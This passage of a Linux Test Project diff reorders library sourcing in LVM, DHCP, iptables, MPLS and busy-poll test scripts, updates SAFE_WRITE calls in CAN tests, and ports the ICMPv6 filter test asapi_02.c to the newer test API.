TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="losetup umount vgremove" -. tst_test.sh LVM_DIR="${LVM_DIR:-/tmp}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" @@ -32,4 +31,5 @@ cleanup_lvm() tst_res TPASS "LVM configuration for LTP removed successfully." } +. tst_test.sh tst_run diff --git a/testcases/misc/lvm/generate_lvm_runfile.sh b/testcases/misc/lvm/generate_lvm_runfile.sh index 02a79721..7f7e149d 100755 --- a/testcases/misc/lvm/generate_lvm_runfile.sh +++ b/testcases/misc/lvm/generate_lvm_runfile.sh @@ -1,23 +1,23 @@ -#!/bin/sh +#!/bin/sh -e # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2020 SUSE LLC +# Copyright (c) Linux Test Project, 2020-2022 # # Generate LTP runfile for LVM tests (runtest/lvm.local) TST_TESTFUNC=generate_runfile TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="sed" -. tst_test.sh LVM_DIR="${LVM_DIR:-/tmp}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" generate_runfile() { - trap 'tst_brk TBROK "Cannot create LVM runfile"' ERR + trap '[ $? -eq 0 ] || tst_brk TBROK "Cannot create LVM runfile"' EXIT INFILE="$LTPROOT/testcases/data/lvm/runfile.tpl" OUTFILE="$LTPROOT/runtest/lvm.local" - FS_LIST=`tst_supported_fs` + FS_LIST=$(tst_supported_fs -s tmpfs) echo -n "" >"$OUTFILE" for fsname in $FS_LIST; do @@ -30,4 +30,5 @@ generate_runfile() tst_res TPASS "Runfile $OUTFILE successfully created" } +. tst_test.sh tst_run diff --git a/testcases/misc/lvm/prepare_lvm.sh b/testcases/misc/lvm/prepare_lvm.sh index b6557f22..29f386df 100755 --- a/testcases/misc/lvm/prepare_lvm.sh +++ b/testcases/misc/lvm/prepare_lvm.sh @@ -7,7 +7,6 @@ TST_TESTFUNC=prepare_lvm TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="mount pvcreate vgcreate lvcreate" -. tst_test.sh LVM_DIR="${LVM_DIR:-/tmp}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" @@ -71,7 +70,7 @@ prepare_mounts() prepare_lvm() { - FS_LIST=`tst_supported_fs | sort -u` + FS_LIST=$(tst_supported_fs -s tmpfs | sort -u) ROD mkdir -p "$LVM_TMPDIR" ROD mkdir -p "$LVM_IMGDIR" chmod 777 "$LVM_TMPDIR" @@ -81,4 +80,5 @@ prepare_lvm() tst_res TPASS "LVM mounts are ready" } +. tst_test.sh tst_run diff --git a/testcases/network/busy_poll/busy_poll01.sh b/testcases/network/busy_poll/busy_poll01.sh index 0be4c5f9..65f4db3f 100755 --- a/testcases/network/busy_poll/busy_poll01.sh +++ b/testcases/network/busy_poll/busy_poll01.sh @@ -4,8 +4,6 @@ # # Author: Alexey Kodanev -. busy_poll_lib.sh - cleanup() { [ -n "$busy_read_old" ] && \ @@ -47,4 +45,5 @@ test() tst_netload_compare $(cat res_0) $(cat res_50) 1 } +. busy_poll_lib.sh tst_run diff --git a/testcases/network/busy_poll/busy_poll02.sh b/testcases/network/busy_poll/busy_poll02.sh index ec275bec..ebae4d2f 100755 --- a/testcases/network/busy_poll/busy_poll02.sh +++ b/testcases/network/busy_poll/busy_poll02.sh @@ -4,8 +4,6 @@ # # Author: Alexey Kodanev -. busy_poll_lib.sh - cleanup() { [ -n "$busy_poll_old" ] && \ @@ -39,4 +37,5 @@ test() tst_netload_compare $(cat res_0) $(cat res_50) 1 } +. busy_poll_lib.sh tst_run diff --git a/testcases/network/busy_poll/busy_poll03.sh b/testcases/network/busy_poll/busy_poll03.sh index 844a7322..04d5978f 100755 --- a/testcases/network/busy_poll/busy_poll03.sh +++ b/testcases/network/busy_poll/busy_poll03.sh @@ -6,8 +6,6 @@ TST_TEST_DATA="udp udp_lite" -. busy_poll_lib.sh - cleanup() { [ -n "$busy_poll_old" ] && \ @@ -42,4 +40,5 @@ test() tst_netload_compare $(cat res_0) $(cat res_50) 1 } +. busy_poll_lib.sh tst_run diff --git a/testcases/network/busy_poll/busy_poll_lib.sh b/testcases/network/busy_poll/busy_poll_lib.sh index d1750446..de61d3fc 100755 --- a/testcases/network/busy_poll/busy_poll_lib.sh +++ b/testcases/network/busy_poll/busy_poll_lib.sh @@ -12,8 +12,6 @@ TST_NEEDS_CMDS="pkill sysctl ethtool" # for more stable results set to a single thread TST_NETLOAD_CLN_NUMBER=1 -. tst_net.sh - busy_poll_check_config() { if [ ! -f "/proc/sys/net/core/busy_read" -a \ @@ -27,3 +25,5 @@ busy_poll_check_config() tst_brk TCONF "busy poll not supported by driver" fi } + +. tst_net.sh diff --git a/testcases/network/can/cve/can_bcm01.c b/testcases/network/can/cve/can_bcm01.c index d4f1e4ec..79a827cf 100755 --- a/testcases/network/can/cve/can_bcm01.c +++ b/testcases/network/can/cve/can_bcm01.c @@ -142,6 +142,7 @@ static struct tst_test test = { .taint_check = TST_TAINT_W | TST_TAINT_D, .needs_root = 1, .skip_in_compat = 1, + .max_runtime = 30, .needs_drivers = (const char *const[]) { "vcan", "can-bcm", diff --git a/testcases/network/can/filter-tests/can_filter.c b/testcases/network/can/filter-tests/can_filter.c index f2704c26..19c7fc48 100755 --- a/testcases/network/can/filter-tests/can_filter.c +++ b/testcases/network/can/filter-tests/can_filter.c @@ -102,16 +102,16 @@ static void run(unsigned int n) frame.data[0] = testcase; frame.can_id = ID; - SAFE_WRITE(1, s, &frame, sizeof(frame)); + SAFE_WRITE(SAFE_WRITE_ALL, s, &frame, sizeof(frame)); frame.can_id = (ID | CAN_RTR_FLAG); - SAFE_WRITE(1, s, &frame, sizeof(frame)); + SAFE_WRITE(SAFE_WRITE_ALL, s, &frame, sizeof(frame)); frame.can_id = (ID | CAN_EFF_FLAG); - SAFE_WRITE(1, s, &frame, sizeof(frame)); + SAFE_WRITE(SAFE_WRITE_ALL, s, &frame, sizeof(frame)); frame.can_id = (ID | CAN_EFF_FLAG | CAN_RTR_FLAG); - SAFE_WRITE(1, s, &frame, sizeof(frame)); + SAFE_WRITE(SAFE_WRITE_ALL, s, &frame, sizeof(frame)); tst_res(TPASS, "testcase %2d Sent patterns", testcase); diff --git a/testcases/network/can/filter-tests/can_rcv_own_msgs.c b/testcases/network/can/filter-tests/can_rcv_own_msgs.c index 609ceb6d..6bb2619f 100755 --- a/testcases/network/can/filter-tests/can_rcv_own_msgs.c +++ b/testcases/network/can/filter-tests/can_rcv_own_msgs.c @@ -25,7 +25,7 @@ static void test_sockets(canid_t can_id, int expect_rxs, int expect_rxt) frame.can_id = can_id; frame.can_dlc = 0; - SAFE_WRITE(1, s, &frame, sizeof(frame)); + SAFE_WRITE(SAFE_WRITE_ALL, s, &frame, sizeof(frame)); while (have_rx) { diff --git a/testcases/network/dccp/dccp01.sh b/testcases/network/dccp/dccp01.sh index 4d8e6e0d..b139d6c3 100755 --- a/testcases/network/dccp/dccp01.sh +++ b/testcases/network/dccp/dccp01.sh @@ -7,7 +7,6 @@ TST_TESTFUNC="test" TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 -. tst_net.sh test1() { @@ -30,4 +29,5 @@ test3() tst_netload_compare $res0 $res1 -100 100 } +. tst_net.sh tst_run diff --git a/testcases/network/dhcp/dhcp_lib.sh b/testcases/network/dhcp/dhcp_lib.sh index 5537112c..4e8166d4 100755 --- a/testcases/network/dhcp/dhcp_lib.sh +++ b/testcases/network/dhcp/dhcp_lib.sh @@ -1,19 +1,16 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved. -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Author: Alexey Kodanev alexey.kodanev@oracle.com -TST_SETUP="dhcp_lib_setup" -TST_CLEANUP="dhcp_lib_cleanup" +TST_SETUP="${TST_SETUP:-dhcp_lib_setup}" +TST_CLEANUP="${TST_CLEANUP:-dhcp_lib_cleanup}" TST_TESTFUNC="test01" TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="cat $dhcp_name awk ip pgrep pkill dhclient" -. tst_net.sh -. daemonlib.sh - iface0="ltp_veth0" iface1="ltp_veth1" @@ -174,3 +171,6 @@ EOF stop_dhcp } + +. tst_net.sh +. daemonlib.sh diff --git a/testcases/network/dhcp/dhcpd_tests.sh b/testcases/network/dhcp/dhcpd_tests.sh index 23dc8a45..69c631df 100755 --- a/testcases/network/dhcp/dhcpd_tests.sh +++ b/testcases/network/dhcp/dhcpd_tests.sh @@ -7,10 +7,9 @@ # Author: Manoj Iyer, manjo@mail.utexas.edu # Author: Alexey Kodanev alexey.kodanev@oracle.com -dhcp_name="dhcpd" - -. dhcp_lib.sh TST_SETUP="setup_dhcp" + +dhcp_name="dhcpd" lease_dir="/var/lib/misc" lease_file="$lease_dir/dhcpd.leases_tst" @@ -84,4 +83,5 @@ print_dhcp_version() dhcpd --version 2>&1 } +. dhcp_lib.sh tst_run diff --git a/testcases/network/dhcp/dnsmasq_tests.sh b/testcases/network/dhcp/dnsmasq_tests.sh index 855a7426..0183c1da 100755 --- a/testcases/network/dhcp/dnsmasq_tests.sh +++ b/testcases/network/dhcp/dnsmasq_tests.sh @@ -5,20 +5,6 @@ # # Author: Alexey Kodanev alexey.kodanev@oracle.com -dhcp_name="dnsmasq" - -. dhcp_lib.sh - -log="/var/log/dnsmasq.tst.log" - -lease_dir="/var/lib/misc" -tst_selinux_enforced && lease_dir="/var/lib/dnsmasq" -lease_file="$lease_dir/dnsmasq.tst.leases" - -common_opt="--no-hosts --no-resolv --dhcp-authoritative \ - --log-facility=$log --interface=$iface0 \ - --dhcp-leasefile=$lease_file --port=0 --conf-file= " - start_dhcp() { dnsmasq $common_opt \ @@ -47,4 +33,18 @@ print_dhcp_version() dnsmasq --version | head -2 } +. dhcp_lib.sh + +lease_dir="/var/lib/misc" +tst_selinux_enforced && lease_dir="/var/lib/dnsmasq" + +dhcp_name="dnsmasq" +log="/var/log/dnsmasq.tst.log" + +lease_file="$lease_dir/dnsmasq.tst.leases" + +common_opt="--no-hosts --no-resolv --dhcp-authoritative \ + --log-facility=$log --interface=$iface0 \ + --dhcp-leasefile=$lease_file --port=0 --conf-file= " + tst_run diff --git a/testcases/network/iproute/ip_tests.sh b/testcases/network/iproute/ip_tests.sh index 1527445d..ee976807 100755 --- a/testcases/network/iproute/ip_tests.sh +++ b/testcases/network/iproute/ip_tests.sh @@ -15,7 +15,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="cat awk diff" TST_NEEDS_DRIVERS="dummy" -. tst_net.sh rm_dummy= @@ -251,4 +250,5 @@ test6() tst_res TPASS "'ip maddr' command successfully tested" } +. tst_net.sh tst_run diff --git a/testcases/network/iptables/iptables01.sh b/testcases/network/iptables/iptables01.sh index b788b919..6e141a97 100755 --- a/testcases/network/iptables/iptables01.sh +++ b/testcases/network/iptables/iptables01.sh @@ -5,5 +5,4 @@ use_iptables=1 . iptables_lib.sh - tst_run diff --git a/testcases/network/iptables/iptables_lib.sh b/testcases/network/iptables/iptables_lib.sh index ad2a894b..76700886 100755 --- a/testcases/network/iptables/iptables_lib.sh +++ b/testcases/network/iptables/iptables_lib.sh @@ -1,5 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2019-2022 # Copyright (c) 2018-2019 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2001 # @@ -14,8 +15,6 @@ TST_SETUP="${TST_SETUP:-init}" TST_CLEANUP="${TST_CLEANUP:-cleanup}" TST_NEEDS_CMDS="grep telnet" -. tst_net.sh - NFRUN() { local rule @@ -23,7 +22,7 @@ NFRUN() if [ "$use_iptables" = 1 ]; then ip${TST_IPV6}tables $@ else - $(ip${TST_IPV6}tables-translate $@ | sed 's,\\,,g') + $(ip${TST_IPV6}tables-translate $@ | sed "s/[\']//g") fi } @@ -67,9 +66,9 @@ init() cleanup() { if lsmod | grep -q "ip${TST_IPV6}_tables"; then - NFTRUN -F -t filter > /dev/null 2>&1 - NFTRUN -F -t nat > /dev/null 2>&1 - NFTRUN -F -t mangle > /dev/null 2>&1 + NFRUN -F -t filter > /dev/null 2>&1 + NFRUN -F -t nat > /dev/null 2>&1 + NFRUN -F -t mangle > /dev/null 2>&1 rmmod -v ipt_limit ipt_multiport ipt_LOG ipt_REJECT \ ip${TST_IPV6}table_mangle ip${TST_IPV6}table_nat ip_conntrack \ ip${TST_IPV6}table_filter ip${TST_IPV6}_tables nf_nat_ipv${TST_IPVER} nf_nat \ @@ -379,3 +378,5 @@ test6() tst_res TINFO "$toolname limited logging succsess" tst_res TPASS "$toolname can log packets with limited rate" } + +. tst_net.sh diff --git a/testcases/network/iptables/nft01.sh b/testcases/network/iptables/nft01.sh index bf2a53c2..2bb5779d 100755 --- a/testcases/network/iptables/nft01.sh +++ b/testcases/network/iptables/nft01.sh @@ -9,8 +9,6 @@ use_iptables=0 cleanup_table=0 cleanup_chain=0 -. iptables_lib.sh - do_setup() { init @@ -35,4 +33,5 @@ do_cleanup() cleanup } +. iptables_lib.sh tst_run diff --git a/testcases/network/lib6/asapi_01.c b/testcases/network/lib6/asapi_01.c index a34b8aee..ac1de541 100755 --- a/testcases/network/lib6/asapi_01.c +++ b/testcases/network/lib6/asapi_01.c @@ -33,7 +33,7 @@ #include "test.h" #include "safe_macros.h" -char *TCID = "asapi_04"; +char *TCID = "asapi_01"; static pid_t pid; diff --git a/testcases/network/lib6/asapi_02.c b/testcases/network/lib6/asapi_02.c index f8c30f1d..7808b2c3 100755 --- a/testcases/network/lib6/asapi_02.c +++ b/testcases/network/lib6/asapi_02.c @@ -1,102 +1,98 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2015 Fujitsu Ltd. + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. * Copyright (c) International Business Machines Corp., 2001 + * Author: David L Stevens + */ + +/*\ + * [Description] * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. + * Basic test for ICMP6_FILTER. * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. + * For ICMP6_FILTER usage, refer to: https://man.openbsd.org/icmp6. * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Because of the extra functionality of ICMPv6 in comparison to ICMPv4, a + * larger number of messages may be potentially received on an ICMPv6 socket. + * Input filters may therefore be used to restrict input to a subset of the + * incoming ICMPv6 messages so only interesting messages are returned by the + * recv(2) family of calls to an application. + + * The icmp6_filter structure may be used to refine the input message set + * according to the ICMPv6 type. By default, all messages types are allowed + * on newly created raw ICMPv6 sockets. The following macros may be used to + * refine the input set, thus being tested: * - * Author: David L Stevens + * void ICMP6_FILTER_SETPASSALL(struct icmp6_filter *filterp) + * – Allow all incoming messages. filterp is modified to allow all message types. + * + * void ICMP6_FILTER_SETBLOCKALL(struct icmp6_filter *filterp) + * – Ignore all incoming messages. filterp is modified to ignore all message types. + * + * void ICMP6_FILTER_SETPASS(int, struct icmp6_filter *filterp) + * – Allow ICMPv6 messages with the given type. filterp is modified to allow such + * messages. + * + * void ICMP6_FILTER_SETBLOCK(int, struct icmp6_filter *filterp) + * – Ignore ICMPv6 messages with the given type. filterp is modified to ignore + * such messages. + * + * int ICMP6_FILTER_WILLPASS(int, const struct icmp6_filter *filterp) + * – Determine if the given filter will allow an ICMPv6 message of the given type. + * + * int ICMP6_FILTER_WILLBLOCK(int, const struct icmp6_filter *) + * – Determine if the given filter will ignore an ICMPv6 message of the given type. + * + * The getsockopt(2) and setsockopt(2) calls may be used to obtain and install + * the filter on ICMPv6 sockets at option level IPPROTO_ICMPV6 and name ICMP6_FILTER + * with a pointer to the icmp6_filter structure as the option value. */ -#include -#include -#include - -#include -#include - -#include -#include #include +#include "tst_test.h" -#include "test.h" -#include "safe_macros.h" +static int sall = -1, sf = -1; -char *TCID = "asapi_05"; - -static void setup(void); - -static void icmp6_ft(void); - -int main(int argc, char *argv[]) -{ - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); ++lc) - icmp6_ft(); - - tst_exit(); -} - -static void setup(void) -{ - TEST_PAUSE; - tst_require_root(); -} - -enum tt { - T_WILLPASS, - T_WILLBLOCK, - T_SETPASS, - T_SETBLOCK, - T_SETPASSALL, - T_SETBLOCKALL +enum filter_macro { + FILTER_SETPASS, + FILTER_SETBLOCK, + FILTER_PASSALL, + FILTER_BLOCKALL, + FILTER_WILLBLOCK, + FILTER_WILLPASS }; -static struct ftent { - char *ft_tname; /* test name, for logging */ - unsigned char ft_sndtype; /* send type field */ - unsigned char ft_flttype; /* filter type field */ - enum tt ft_test; /* what macro to test */ - int ft_expected; /* packet should pass? */ -} ftab[] = { - {"ICMP6_FILTER_SETPASS s 20 f 20", 20, 20, T_SETPASS, 1}, - {"ICMP6_FILTER_SETPASS s 20 f 21", 20, 21, T_SETPASS, 0}, - {"ICMP6_FILTER_SETBLOCK s 20 f 20", 20, 20, T_SETBLOCK, 0}, - {"ICMP6_FILTER_SETBLOCK s 20 f 21", 20, 21, T_SETBLOCK, 1}, - {"ICMP6_FILTER_PASSALL s 20", 20, 0, T_SETPASSALL, 1}, - {"ICMP6_FILTER_PASSALL s 20", 21, 0, T_SETPASSALL, 1}, - {"ICMP6_FILTER_BLOCKALL s 20", 20, 0, T_SETBLOCKALL, 0}, - {"ICMP6_FILTER_BLOCKALL s 20", 21, 0, T_SETBLOCKALL, 0}, - {"ICMP6_FILTER_WILLBLOCK s 20 f 21", 20, 21, T_WILLBLOCK, 0}, - {"ICMP6_FILTER_WILLBLOCK s 20 f 20", 20, 20, T_WILLBLOCK, 1}, - {"ICMP6_FILTER_WILLPASS s 20 f 21", 20, 21, T_WILLPASS, 0}, - {"ICMP6_FILTER_WILLPASS s 22 f 22", 22, 22, T_WILLPASS, 1}, +#define DESC(x, y, z) .tname = "ICMP6_" #x ", send type: " #y ", filter type: " \ + #z, .send_type = y, .filter_type = z, .test_macro = x + +static struct tcase { + char *tname; + unsigned char send_type; + unsigned char filter_type; + enum filter_macro test_macro; + int pass_packet; +} tcases[] = { + {DESC(FILTER_SETPASS, 20, 20), .pass_packet = 1}, + {DESC(FILTER_SETPASS, 20, 21)}, + {DESC(FILTER_SETBLOCK, 20, 20)}, + {DESC(FILTER_SETBLOCK, 20, 21), .pass_packet = 1}, + {DESC(FILTER_PASSALL, 20, 20), .pass_packet = 1}, + {DESC(FILTER_PASSALL, 21, 0), .pass_packet = 1}, + {DESC(FILTER_BLOCKALL, 20, 0)}, + {DESC(FILTER_BLOCKALL, 21, 0)}, + {DESC(FILTER_WILLBLOCK, 20, 21)}, + {DESC(FILTER_WILLBLOCK, 20, 20), .pass_packet = 1}, + {DESC(FILTER_WILLPASS, 20, 21)}, + {DESC(FILTER_WILLPASS, 22, 22), .pass_packet = 1}, }; -#define FTCOUNT ARRAY_SIZE(ftab) - -static int ic6_send1(char *tname, unsigned char type) +static void ic6_send(unsigned char type) { struct sockaddr_in6 sin6; struct icmp6_hdr ic6; int s; - s = SAFE_SOCKET(NULL, AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); + s = SAFE_SOCKET(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); memset(&ic6, 0, sizeof(ic6)); ic6.icmp6_type = type; @@ -105,22 +101,15 @@ static int ic6_send1(char *tname, unsigned char type) memset(&sin6, 0, sizeof(sin6)); sin6.sin6_family = AF_INET6; sin6.sin6_addr = in6addr_loopback; - if (sendto(s, &ic6, sizeof(ic6), 0, (struct sockaddr *)&sin6, - sizeof(sin6)) == -1) { - tst_resm(TBROK | TERRNO, "%s: sendto failed", tname); - return 1; - } - return 0; + SAFE_SENDTO(0, s, &ic6, sizeof(ic6), 0, (struct sockaddr *)&sin6, sizeof(sin6)); } -static int ic6_recv1(char *tname, int sall, int sf) +static int ic6_recv(void) { fd_set readfds, readfds_saved; struct timeval tv; - int maxfd, nfds; - int gotall, gotone; - int cc; - static unsigned char rbuf[2048]; + int maxfd, nfds, gotall, gotone; + unsigned char rbuf[2048]; tv.tv_sec = 0; tv.tv_usec = 250000; @@ -133,129 +122,120 @@ static int ic6_recv1(char *tname, int sall, int sf) memcpy(&readfds, &readfds_saved, sizeof(readfds)); gotall = gotone = 0; - /* - * Note: this relies on linux-specific behavior (select - * updating tv with time elapsed) - */ + while (!gotall || !gotone) { struct icmp6_hdr *pic6 = (struct icmp6_hdr *)rbuf; nfds = select(maxfd + 1, &readfds, 0, 0, &tv); if (nfds == 0) - break; /* timed out */ + break; + if (nfds < 0) { if (errno == EINTR) continue; - tst_resm(TBROK | TERRNO, "%s: select failed", tname); + tst_brk(TBROK | TERRNO, "select failed"); } + if (FD_ISSET(sall, &readfds)) { - cc = recv(sall, rbuf, sizeof(rbuf), 0); - if (cc < 0) { - tst_resm(TBROK | TERRNO, - "%s: recv(sall, ..) failed", tname); - return -1; - } - /* if packet check succeeds... */ + SAFE_RECV(0, sall, rbuf, sizeof(rbuf), 0); if (htonl(pic6->icmp6_data32[0]) == (uint32_t)getpid()) gotall = 1; } + if (FD_ISSET(sf, &readfds)) { - cc = recv(sf, rbuf, sizeof(rbuf), 0); - if (cc < 0) { - tst_resm(TBROK | TERRNO, - "%s: recv(sf, ..) failed", tname); - return -1; - } - /* if packet check succeeds... */ + SAFE_RECV(0, sf, rbuf, sizeof(rbuf), 0); if (htonl(pic6->icmp6_data32[0]) == (uint32_t)getpid()) gotone = 1; } memcpy(&readfds, &readfds_saved, sizeof(readfds)); } + if (!gotall) { - tst_resm(TBROK, "%s: recv all timed out", tname); + tst_res(TFAIL, "recv all time out"); return -1; } + if (gotone) return 1; + return 0; } -/* functional tests */ -static void icmp6_ft(void) +static void verify_icmp6_filter(unsigned int n) { + struct tcase *tc = &tcases[n]; struct icmp6_filter i6f; - int sall, sf; - unsigned int i; + int rc; + + tst_res(TINFO, "Testing %s", tc->tname); + + switch (tc->test_macro) { + case FILTER_SETPASS: + ICMP6_FILTER_SETBLOCKALL(&i6f); + ICMP6_FILTER_SETPASS(tc->filter_type, &i6f); + break; + case FILTER_PASSALL: + ICMP6_FILTER_SETPASSALL(&i6f); + break; + case FILTER_SETBLOCK: + ICMP6_FILTER_SETPASSALL(&i6f); + ICMP6_FILTER_SETBLOCK(tc->filter_type, &i6f); + break; + case FILTER_BLOCKALL: + ICMP6_FILTER_SETBLOCKALL(&i6f); + break; + case FILTER_WILLBLOCK: + ICMP6_FILTER_SETPASSALL(&i6f); + ICMP6_FILTER_SETBLOCK(tc->filter_type, &i6f); + rc = ICMP6_FILTER_WILLBLOCK(tc->send_type, &i6f); + TST_EXP_EXPR(rc == tc->pass_packet, "%d (%d)", tc->pass_packet, rc); + return; + case FILTER_WILLPASS: + ICMP6_FILTER_SETBLOCKALL(&i6f); + ICMP6_FILTER_SETPASS(tc->filter_type, &i6f); + rc = ICMP6_FILTER_WILLPASS(tc->send_type, &i6f); + TST_EXP_EXPR(rc == tc->pass_packet, "%d (%d)", tc->pass_packet, rc); + return; + default: + tst_brk(TBROK, "unknown test type %d", tc->filter_type); + break; + } - sall = SAFE_SOCKET(NULL, PF_INET6, SOCK_RAW, IPPROTO_ICMPV6); + SAFE_SETSOCKOPT(sf, IPPROTO_ICMPV6, ICMP6_FILTER, &i6f, sizeof(i6f)); + ic6_send(tc->send_type); - ICMP6_FILTER_SETPASSALL(&i6f); - if (setsockopt(sall, IPPROTO_ICMPV6, ICMP6_FILTER, &i6f, - sizeof(i6f)) < 0) { - tst_resm(TBROK | TERRNO, - "setsockopt pass all ICMP6_FILTER failed"); - } + rc = ic6_recv(); + if (rc < 0) + return; - sf = SAFE_SOCKET(NULL, PF_INET6, SOCK_RAW, IPPROTO_ICMPV6); + TST_EXP_EXPR(rc == tc->pass_packet, "%s packet type %d", + rc ? "pass" : "block", tc->send_type); +} - int rv; +static void setup(void) +{ + struct icmp6_filter i6f; - for (i = 0; i < FTCOUNT; ++i) { + sall = SAFE_SOCKET(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6); + ICMP6_FILTER_SETPASSALL(&i6f); + SAFE_SETSOCKOPT(sall, IPPROTO_ICMPV6, ICMP6_FILTER, &i6f, sizeof(i6f)); - rv = -1; + sf = SAFE_SOCKET(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6); +} - switch (ftab[i].ft_test) { - case T_SETPASS: - ICMP6_FILTER_SETBLOCKALL(&i6f); - ICMP6_FILTER_SETPASS(ftab[i].ft_flttype, &i6f); - break; - case T_SETPASSALL: - ICMP6_FILTER_SETPASSALL(&i6f); - break; - case T_SETBLOCK: - ICMP6_FILTER_SETPASSALL(&i6f); - ICMP6_FILTER_SETBLOCK(ftab[i].ft_flttype, &i6f); - break; - case T_SETBLOCKALL: - ICMP6_FILTER_SETBLOCKALL(&i6f); - break; - case T_WILLBLOCK: - ICMP6_FILTER_SETPASSALL(&i6f); - ICMP6_FILTER_SETBLOCK(ftab[i].ft_flttype, &i6f); - rv = ICMP6_FILTER_WILLBLOCK(ftab[i].ft_sndtype, &i6f); - break; - case T_WILLPASS: - ICMP6_FILTER_SETBLOCKALL(&i6f); - ICMP6_FILTER_SETPASS(ftab[i].ft_flttype, &i6f); - rv = ICMP6_FILTER_WILLPASS(ftab[i].ft_sndtype, &i6f); - break; - default: - tst_resm(TBROK, "%s: unknown test type %d", - ftab[i].ft_tname, ftab[i].ft_test); - continue; - } - if (ftab[i].ft_test != T_WILLBLOCK && - ftab[i].ft_test != T_WILLPASS) { - if (setsockopt(sf, IPPROTO_ICMPV6, ICMP6_FILTER, &i6f, - sizeof(i6f)) < 0) { - tst_resm(TFAIL | TERRNO, - "setsockopt ICMP6_FILTER"); - continue; - } - if (ic6_send1(ftab[i].ft_tname, ftab[i].ft_sndtype)) - continue; - rv = ic6_recv1(ftab[i].ft_tname, sall, sf); - } else { - rv = -1; - } +static void cleanup(void) +{ + if (sall > -1) + SAFE_CLOSE(sall); - if (rv < 0) - continue; - if (rv != ftab[i].ft_expected) - tst_resm(TFAIL, "%s: rv %d != expected %d", - ftab[i].ft_tname, rv, ftab[i].ft_expected); - else - tst_resm(TPASS, "%s", ftab[i].ft_tname); - } + if (sf > -1) + SAFE_CLOSE(sf); } + +static struct tst_test test = { + .needs_root = 1, + .setup = setup, + .cleanup = cleanup, + .test = verify_icmp6_filter, + .tcnt = ARRAY_SIZE(tcases) +}; diff --git a/testcases/network/lib6/asapi_03.c b/testcases/network/lib6/asapi_03.c index 2124ba7d..87d050ad 100755 --- a/testcases/network/lib6/asapi_03.c +++ b/testcases/network/lib6/asapi_03.c @@ -43,7 +43,7 @@ #include "test.h" #include "safe_macros.h" -char *TCID = "asapi_06"; +char *TCID = "asapi_03"; int TST_TOTAL = 1; diff --git a/testcases/network/lib6/getaddrinfo_01.c b/testcases/network/lib6/getaddrinfo_01.c index 8c76f5d0..19740214 100755 --- a/testcases/network/lib6/getaddrinfo_01.c +++ b/testcases/network/lib6/getaddrinfo_01.c @@ -294,7 +294,7 @@ static void setup(void) SAFE_ASPRINTF(&entry, "%s %s %s\n", tcases[i].addr, tcases[i].name, tcases[i].alias); - SAFE_WRITE(0, fd, entry, strlen(entry)); + SAFE_WRITE(SAFE_WRITE_ANY, fd, entry, strlen(entry)); free(entry); } SAFE_CLOSE(fd); diff --git a/testcases/network/lib6/in6_01.c b/testcases/network/lib6/in6_01.c index 2e4b5c56..823d3cac 100755 --- a/testcases/network/lib6/in6_01.c +++ b/testcases/network/lib6/in6_01.c @@ -2,7 +2,12 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2017 Petr Vorel + * Copyright (c) Linux Test Project, 2005-2022 * Author: David L Stevens + */ + +/*\ + * [Description] * * Verify that in6 and sockaddr fields are present. */ diff --git a/testcases/network/lib6/in6_02.c b/testcases/network/lib6/in6_02.c index f6c99f7b..e9630d70 100755 --- a/testcases/network/lib6/in6_02.c +++ b/testcases/network/lib6/in6_02.c @@ -2,11 +2,15 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2018 Petr Vorel + * Copyright (c) Linux Test Project, 2005-2022 * Author: David L Stevens - * - * IPv6 name to index and index to name function tests */ +/*\ + * [Description] + * + * IPv6 name to index and index to name function tests. + */ #include #include diff --git a/testcases/network/mpls/mpls01.sh b/testcases/network/mpls/mpls01.sh index c7788b54..196b5b2f 100755 --- a/testcases/network/mpls/mpls01.sh +++ b/testcases/network/mpls/mpls01.sh @@ -12,7 +12,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_DRIVERS="mpls_router" TST_NEEDS_CMDS="sysctl modprobe" -. tst_net.sh cleanup() { @@ -67,4 +66,5 @@ test3() tst_res TPASS "created and removed mpls routes" } +. tst_net.sh tst_run diff --git a/testcases/network/mpls/mpls02.sh b/testcases/network/mpls/mpls02.sh index 2fd3ec5b..a35149ef 100755 --- a/testcases/network/mpls/mpls02.sh +++ b/testcases/network/mpls/mpls02.sh @@ -6,8 +6,6 @@ TST_SETUP="setup" TST_TESTFUNC="do_test" TST_CLEANUP="cleanup" -. mpls_lib.sh - cleanup() { ip route del $ip_rmt/$mask > /dev/null 2>&1 @@ -50,4 +48,5 @@ do_test() fi } +. mpls_lib.sh tst_run diff --git a/testcases/network/mpls/mpls03.sh b/testcases/network/mpls/mpls03.sh index 0db6dbf0..fd9dd588 100755 --- 